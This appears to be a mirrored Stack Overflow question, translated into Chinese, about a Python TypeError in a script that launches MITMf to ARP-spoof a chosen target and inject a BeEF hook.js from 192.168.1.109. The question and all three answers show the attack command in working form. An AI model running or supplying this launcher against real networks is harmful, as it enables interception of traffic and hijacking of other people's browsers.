首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法运行子进程cmd继续获取错误

无法运行子进程cmd继续获取错误
EN

Stack Overflow用户
提问于 2016-03-04 19:39:43
回答 3查看 195关注 0票数 0

我的代码是:

代码语言:javascript
复制
#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")

from subprocess import call
import subprocess

import os
os.chdir("/usr/share/mitmf/")

subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)

我说的是:

代码语言:javascript
复制
Traceback (most recent call last):                                    
File "./ARP_Beef.py", line 11, in <module>
    subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

我不知道是怎么回事。有人能帮我吗

EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2016-03-04 19:51:42

我想说的是:使用单一的列表元素:

代码语言:javascript
复制
subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False)

docs.python.org:“在Unix上,如果args是字符串,则字符串被解释为要执行的程序的名称或路径。但是,如果不向程序传递参数,则只能执行。”

票数 0
EN

Stack Overflow用户

发布于 2016-03-04 19:45:59

删除'['']'

代码语言:javascript
复制
"python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr)
票数 0
EN

Stack Overflow用户

发布于 2016-03-05 20:53:52

TypeError:%:'list‘和'tuple’的不受支持的操作数类型

意思是你做不到:

代码语言:javascript
复制
>>> ['%s'] % ('b',)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

应该将每个命令行参数作为单独的列表项传递:

代码语言:javascript
复制
#!/usr/bin/env python
import subprocess
import sys

gateway, ip_addr = 'get them', 'however you like'
subprocess.check_call([sys.executable] + 
    '/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() +
    ['--gateway', gateway, '--target', ip_addr] +
    '--inject --js-url http://192.168.1.109:3000/hook.js'.split(),
                      cwd="/usr/share/mitmf/")
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/35804711

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档